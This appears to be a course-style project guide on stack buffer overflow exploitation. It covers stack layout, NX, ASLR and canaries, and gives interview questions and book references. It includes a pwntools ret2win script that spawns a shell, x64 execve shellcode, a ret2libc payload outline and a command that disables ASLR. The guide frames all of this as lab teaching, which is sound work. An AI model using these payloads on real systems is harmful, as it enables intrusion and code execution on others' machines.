Project 7: Buffer Overflow Exploitation
Expanded deep-dive guide for Project 7 from the Binary Analysis sprint.
Quick Reference
| Attribute | Value |
|---|---|
| Difficulty | Level 3: Advanced |
| Time Estimate | 3-4 weeks |
| Main Programming Language | C (targets), Python (exploits) |
| Alternative Programming Languages | Assembly for shellcode |
| Coolness Level | Level 5: Pure Magic (Super Cool) |
| Business Potential | 1. The “Resume Gold” |
| Knowledge Area | Binary Exploitation / Memory Corruption |
| Software or Tool | GDB, pwntools, checksec |
| Main Book | “Hacking: The Art of Exploitation” by Jon Erickson |
1. Learning Objectives
- Build a working implementation with reproducible outputs.
- Justify key design choices with binary-analysis principles.
- Produce an evidence-backed report of findings and limitations.
- Document hardening or next-step improvements.
2. All Theory Needed (Per-Concept Breakdown)
This project depends on concepts from the main sprint primer: loader semantics, control/data-flow recovery, runtime observation, and mitigation-aware vulnerability reasoning. Before implementation, restate the project’s core assumptions in your own words and define how you will validate them.
3. Project Specification
3.1 What You Will Build
Working exploits for buffer overflow vulnerabilities, progressing from simple stack smashing to bypass ASLR and stack canaries.
3.2 Functional Requirements
- Accept the target binary/input and validate format assumptions.
- Produce analyzable outputs (console report and/or artifacts).
- Handle malformed inputs safely with explicit errors.
3.3 Non-Functional Requirements
- Reproducibility: same input should produce equivalent findings.
- Safety: unknown samples run only in isolated lab contexts.
- Clarity: separate facts, hypotheses, and inferred conclusions.
3.4 Expanded Project Brief
-
File: P07-buffer-overflow-exploitation.md
- Main Programming Language: C (targets), Python (exploits)
- Alternative Programming Languages: Assembly for shellcode
- Coolness Level: Level 5: Pure Magic (Super Cool)
- Business Potential: 1. The “Resume Gold”
- Difficulty: Level 3: Advanced
- Knowledge Area: Binary Exploitation / Memory Corruption
- Software or Tool: GDB, pwntools, checksec
- Main Book: “Hacking: The Art of Exploitation” by Jon Erickson
What you’ll build: Working exploits for buffer overflow vulnerabilities, progressing from simple stack smashing to bypass ASLR and stack canaries.
Why it teaches binary analysis: Understanding exploitation gives you insight into why security mitigations exist and how low-level memory works.
Core challenges you’ll face:
- Finding the offset → maps to pattern generation, EIP/RIP control
- Controlling execution → maps to return address overwrite
- Bypassing NX → maps to return-to-libc, ROP
- Bypassing ASLR → maps to info leaks, partial overwrite
Resources for key challenges:
Key Concepts:
- Stack Layout: “Hacking: Art of Exploitation” Ch. 2
- Shellcode: “Hacking: Art of Exploitation” Ch. 5
- Return-Oriented Programming: “Practical Binary Analysis” Ch. 10
Difficulty: Advanced Time estimate: 3-4 weeks Prerequisites: Projects 1-6, solid C and assembly
Real World Outcome
Deliverables:
- Analysis output or tooling scripts
- Report with control/data flow notes
Validation checklist:
- Parses sample binaries correctly
- Findings are reproducible in debugger
- No unsafe execution outside lab ```python from pwn import *
Connect to target
p = process(‘./vulnerable’)
Find offset with pattern
offset = 72
Build payload
payload = b’A’ * offset # Fill buffer payload += p64(0x401337) # Overwrite return address with win()
Send payload
p.sendline(payload)
Get shell!
p.interactive()
Output:
[*] Switching to interactive mode
$ whoami
root
$ cat flag.txt
FLAG{buffer_overflow_mastered}
#### Hints in Layers
Progression:
1. **ret2win**: Overwrite return address to call `win()` function
2. **ret2shellcode**: Jump to shellcode on stack (no NX)
3. **ret2libc**: Return to `system("/bin/sh")` (bypass NX)
4. **ROP chain**: Chain gadgets for complex operations
5. **GOT overwrite**: Hijack function pointers
6. **Format string**: Arbitrary read/write
Finding offset:
```python
from pwn import *
# Generate cyclic pattern
pattern = cyclic(200)
# Feed to program, get crash address
# Use cyclic_find to get offset
offset = cyclic_find(0x61616168) # 'haaa' in little-endian
Key questions:
- How do you find the offset to the return address?
- What’s the difference between 32-bit and 64-bit exploitation?
- How do you find useful libc functions when ASLR is enabled?
Learning milestones:
- Control EIP/RIP → Overwrite return address
- Execute shellcode → Spawn a shell (no NX)
- ROP chains → Bypass NX with gadgets
- Leak addresses → Bypass ASLR
The Core Question You Are Answering
How do you exploit unsafe memory operations to hijack program control flow, execute arbitrary code, and bypass modern security mitigations—all by understanding the precise layout of memory at runtime?
This project bridges theory and practice: you’ll see how textbook stack diagrams become real exploitable conditions, and how security features (NX, ASLR, stack canaries) force increasingly sophisticated attack techniques.
Concepts You Must Understand First
1. The Stack Memory Layout
The stack grows downward (high to low addresses) and stores local variables, saved registers, and return addresses. Understanding this layout is essential for exploitation.
High addresses
+------------------+
| Command-line args|
| (argv, envp) |
+------------------+
| Stack |
| (grows down) |
| |
| +-----------+ | <-- Current function's stack frame
| | Local vars| |
| | (buffer) | |
| +-----------+ |
| | Saved RBP | | <-- Frame pointer (base of previous frame)
| +-----------+ |
| | Ret addr | | <-- Return address (TARGET FOR OVERWRITE)
| +-----------+ |
| | Arguments | |
| +-----------+ |
| ... |
| |
+------------------+
| Heap |
| (grows up) |
+------------------+
| .bss (uninit) |
+------------------+
| .data (init) |
+------------------+
| .text (code) |
+------------------+
Low addresses
Guiding Questions:
- Why does the stack grow downward while arrays grow upward (creating overflow)?
- What’s stored between a buffer and the return address?
- How does the saved frame pointer (RBP) help identify stack frame boundaries?
Book Reference: “Computer Systems: A Programmer’s Perspective” Ch. 3.7 - Procedures
2. Buffer Overflow Mechanics
When strcpy(buffer, user_input) copies more data than the buffer can hold, it overwrites adjacent memory—including saved RBP and return address.
Guiding Questions:
- Why are functions like
gets(),strcpy(), andsprintf()dangerous? - What’s the difference between stack overflow (too much data) and stack smashing (deliberate overwrite)?
- How do you calculate the exact offset from buffer start to return address?
Book Reference: “Hacking: The Art of Exploitation” Ch. 2.5 - Buffer Overflows
3. Return Address Hijacking
The return address (pushed by call, popped by ret) determines where execution goes after a function. Overwriting it redirects control flow.
Guiding Questions:
- What does the
retinstruction do at the assembly level? - Why must your payload preserve stack alignment (especially on x64)?
- What happens if you overwrite the return address with an invalid address?
Book Reference: “Computer Systems: A Programmer’s Perspective” Ch. 3.7.3 - Data Transfer
4. Shellcode Development
Shellcode is position-independent assembly code that spawns a shell or executes commands. It must avoid null bytes (which terminate string copies).
Guiding Questions:
- Why does shellcode use
execve("/bin/sh", NULL, NULL)instead ofsystem("/bin/sh")? - How do you write position-independent code (no hardcoded addresses)?
- What techniques eliminate null bytes (e.g.,
xor eax, eaxinstead ofmov eax, 0)?
Book Reference: “Hacking: The Art of Exploitation” Ch. 5 - Shellcode
5. NX (No-Execute) Protection
Modern systems mark the stack as non-executable, preventing shellcode execution. This forces attackers to use existing code (return-to-libc, ROP).
Guiding Questions:
- How does the NX bit work at the hardware level (page table permissions)?
- Why can’t you just mark the stack executable from your exploit?
- What’s the difference between DEP (Windows) and NX (Linux)?
Book Reference: “Practical Binary Analysis” Ch. 10.2 - Code-Reuse Attacks
6. ASLR (Address Space Layout Randomization)
ASLR randomizes the base addresses of stack, heap, and libraries, making hardcoded addresses unreliable. Defeating it requires information leaks.
Guiding Questions:
- What parts of memory are randomized (stack, heap, libraries)?
- Why is the code section (.text) often NOT randomized in binaries without PIE?
- How do format string bugs or read overflows leak addresses?
Book Reference: “Practical Binary Analysis” Ch. 10.3 - Randomization-Based Defenses
7. Stack Canaries
Canaries are random values placed between the buffer and return address. Before returning, the program checks if the canary is intact; if not, it aborts.
Guiding Questions:
- Where exactly is the canary placed in the stack frame?
- How are canaries generated (random, constant, TLS-based)?
- Can you bypass canaries by leaking their value or using partial overwrites?
Book Reference: “Computer Systems: A Programmer’s Perspective” Ch. 3.10.3 - Stack Corruption Detection
8. Pwntools and Exploit Development
Pwntools is a Python library for writing exploits. It handles process interaction, payload generation, and address packing.
Guiding Questions:
- What’s the difference between
p32()andp64()for packing addresses? - How does
cyclic()help find the exact overflow offset? - When should you use
process()vsremote()for local vs remote targets?
Book Reference: Official pwntools documentation (docs.pwntools.com)
Questions to Guide Your Design
-
How do you determine the exact offset from the buffer start to the return address without source code? Consider pattern generation, crash analysis, and GDB inspection.
-
When NX is enabled, what existing code can you reuse to achieve your goals? Think about libc functions, PLT entries, and gadgets.
-
How would you leak a libc address to defeat ASLR in a two-stage exploit? Consider using
puts()to print GOT entries. -
What strategies work when you can only overflow a small number of bytes (not enough for shellcode)? Think about partial overwrites, ROP, or pointer manipulation.
-
How do you write shellcode that works regardless of where it’s placed in memory? Consider relative addressing, stack pivoting, and position-independent techniques.
-
When would you choose ret2libc over ROP, or vice versa? Think about complexity, reliability, and available gadgets.
-
How do you test your exploits reliably when ASLR is enabled locally? Consider disabling ASLR (
echo 0 > /proc/sys/kernel/randomize_va_space) or handling it properly. -
What debugging workflow helps when your exploit crashes the program in unexpected ways? Think about core dumps, GDB breakpoints, and payload inspection.
Thinking Exercise
Before writing any exploits, complete these exercises:
- Manual Stack Diagram: Draw the complete stack layout for this function call:
void vulnerable(char *input) { char buffer[64]; strcpy(buffer, input); // No bounds checking! } int main(int argc, char **argv) { if (argc > 1) { vulnerable(argv[1]); } return 0; }- Compile with
gcc -fno-stack-protector -z execstack -o vuln vuln.c - Run in GDB with breakpoint in
vulnerable()after thestrcpy() - Print the stack:
x/40wx $rsp-0x50 - Identify: buffer location, saved RBP, return address
- Calculate the offset: how many bytes from buffer[0] to return address?
- Compile with
- Shellcode Analysis: Examine this x64 shellcode:
xor rsi, rsi ; NULL (argv) mul rsi ; RAX = RDX = 0 mov rbx, 0x68732f2f6e69622f ; "/bin//sh" reversed push rbx push rsp pop rdi ; RDI points to "/bin//sh" mov al, 0x3b ; syscall number for execve syscall- Why use
xor rsi, rsiinstead ofmov rsi, 0? - Why is the string “/bin//sh” instead of “/bin/sh”?
- What’s the syscall number for
execveon x64 Linux? - Assemble it and verify it has no null bytes
- Why use
- Pattern Offset Calculation:
from pwn import * # Generate a cyclic pattern pattern = cyclic(200) print(pattern) # Feed it to the vulnerable program # Say it crashes with RIP = 0x6161616c ('laaa') # Find the offset offset = cyclic_find(0x6161616c) print(f"Offset to RIP: {offset}")- Run this against a vulnerable binary
- Verify the offset by sending
b'A' * offset + b'BBBBBBBB' - Confirm RIP becomes
0x4242424242424242(BBBBBBBB)
- NX Bypass Conceptual: Given a binary with NX enabled:
- List all functions in the PLT (
objdump -d vuln | grep @plt) - Find
system@pltandputs@pltaddresses - Locate the string “/bin/sh” in libc using
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh - Conceptually design a ret2libc attack:
payload = 'A' * offset payload += p64(pop_rdi_ret) # Gadget to set RDI payload += p64(binsh_addr) # Argument: "/bin/sh" payload += p64(system_addr) # Call system
- List all functions in the PLT (
The Interview Questions They’ll Ask
-
“Walk me through the exact steps of a buffer overflow from overwrite to code execution.” Expected: Unsafe function → overflow buffer → overwrite saved RBP → overwrite return address →
retinstruction loads attacker’s address → control flow hijacked. -
“Why does the stack grow downward but arrays grow upward? How does this enable overflows?” Expected: Historical architecture decision. Arrays grow toward higher addresses, so overflow overwrites later stack data (saved pointers, return addresses).
-
“Explain the difference between controlling RIP and actually executing your payload.” Expected: Controlling RIP just redirects execution. Without executable stack (NX), you must point to existing code or use ROP. With exec stack, you can point to your shellcode.
-
“How does ASLR prevent exploitation, and how do you defeat it?” Expected: ASLR randomizes addresses, breaking hardcoded values. Defeat with info leaks (format strings, read overflows) or partial overwrites (only modify least significant bytes).
-
“What’s a stack canary and how would you bypass it?” Expected: Random value between buffer and return address. Bypass by: leaking canary value, overwriting without corrupting it, or using other vulnerabilities (format string).
-
“Explain ret2libc. Why is it used when NX is enabled?” Expected: Return to existing library functions (like
system()) instead of shellcode. Works because libc is executable and always loaded. -
“You have a 12-byte overflow but need 100+ bytes for shellcode. What are your options?” Expected: (1) ROP chain, (2) stack pivot to larger buffer elsewhere, (3) two-stage exploit (small stub to read larger payload), (4) ret2libc (no shellcode needed).
-
“How do you calculate the exact offset to the return address?” Expected: Methods: (1) cyclic pattern + crash analysis, (2) GDB to examine stack, (3) source code analysis, (4) trial and error with increasing payloads.
-
“What’s the purpose of
NOP sledin shellcode exploits?” Expected: Provides margin of error. If you’re not sure of exact shellcode address, point anywhere in the NOPs (0x90) and execution slides to the shellcode. -
“Describe a real-world scenario where buffer overflow exploitation is still relevant today.” Expected: IoT devices (often no ASLR/NX), legacy systems, kernel exploits, CTF competitions, security research/testing.
Books That Will Help
| Topic | Book | Chapter/Section |
|---|---|---|
| Stack Layout & Function Calls | “Computer Systems: A Programmer’s Perspective” | Ch. 3.7 (Procedures, Stack Frames) |
| Buffer Overflow Fundamentals | “Hacking: The Art of Exploitation” | Ch. 2.5 (Buffer Overflows) |
| Shellcode Writing | “Hacking: The Art of Exploitation” | Ch. 5 (Shellcode) |
| Return Address Hijacking | “Computer Systems: A Programmer’s Perspective” | Ch. 3.7.3 (Data Transfer) |
| Security Mitigations (NX, ASLR, Canaries) | “Computer Systems: A Programmer’s Perspective” | Ch. 3.10.3 (Stack Corruption Detection) |
| Code-Reuse Attacks (ret2libc) | “Practical Binary Analysis” | Ch. 10.2 (Code-Reuse Attacks) |
| ASLR and Randomization | “Practical Binary Analysis” | Ch. 10.3 (Randomization Defenses) |
| Low-Level Memory Layout | “Low-Level Programming” | Ch. 8 (Memory Management) |
| Exploitation Techniques | “The Shellcoder’s Handbook” | Ch. 4-5 (Stack Overflows) |
| Assembly for Exploitation | “Low-Level Programming” | Ch. 3-4 (Assembly Language) |
| Debugging with GDB | “Hacking: The Art of Exploitation” | Ch. 2 (Programming, Debugging) |
| Format String Exploits | “Hacking: The Art of Exploitation” | Ch. 3 (Exploitation) |
| Heap Exploitation Intro | “The Shellcoder’s Handbook” | Ch. 7 (Heap Overflows) |
| Pwntools Usage | Official Pwntools Docs | docs.pwntools.com |
| Modern Exploitation | “A Guide to Kernel Exploitation” | Ch. 1-2 (Background, Stack Overflows) |
Common Pitfalls and Debugging
Problem 1: “Your interpretation does not match runtime behavior”
- Why: Static analysis can hide runtime-resolved addresses, lazy binding, and input-dependent branches.
- Fix: Reproduce the path with debugger or tracer, then compare static assumptions against live register/memory state.
- Quick test: Run the same sample through both your static workflow and a debugger transcript, and confirm control-flow decisions align.
Problem 2: “Tool output is inconsistent across machines”
- Why: ASLR, tool version drift, and different binary build flags (PIE, RELRO, symbols stripped) change observed addresses and metadata.
- Fix: Pin tool versions, capture
checksec/metadata, and document environment assumptions in your report. - Quick test: Re-run analysis in a container or VM with pinned tools and compare hashes of generated outputs.
Problem 3: “Analysis accidentally executes unsafe code”
- Why: Dynamic workflows run binaries in host context without sufficient isolation.
- Fix: Use disposable snapshots, no-network execution, and non-privileged users for all unknown samples.
- Quick test: Validate isolation controls first (network disabled, snapshot active, unprivileged user), then execute sample.
Definition of Done
- Core functionality works on reference inputs
- Edge cases are tested and documented
- Results are reproducible (same binary, same tools, same report output)
- Analysis notes clearly separate observations, assumptions, and conclusions
- Lab safety controls were applied for any dynamic execution
4. Solution Architecture
Input Artifact -> Parse/Decode -> Analysis Engine -> Validation Layer -> Report
Design each stage so intermediate artifacts are inspectable (JSON/text/notes), which makes debugging and peer review much easier.
5. Implementation Phases
Phase 1: Foundation
- Define input assumptions and format checks.
- Produce a minimal golden output on one known sample.
Phase 2: Core Functionality
- Implement full analysis pass for normal cases.
- Add validation against an external ground-truth tool.
Phase 3: Hard Cases and Reporting
- Add malformed/edge-case handling.
- Finalize report template and reproducibility notes.
6. Testing Strategy
- Unit-level checks for parser/decoder helpers.
- Integration checks against known binaries/challenges.
- Regression tests for previously failing cases.
7. Extensions & Challenges
- Add automation for batch analysis and comparative reports.
- Add confidence scoring for each major finding.
- Add export formats suitable for CI/security pipelines.
8. Production Reflection
Map your project output to a production analogue: what reliability, observability, and security controls would be required to run this continuously in an engineering organization?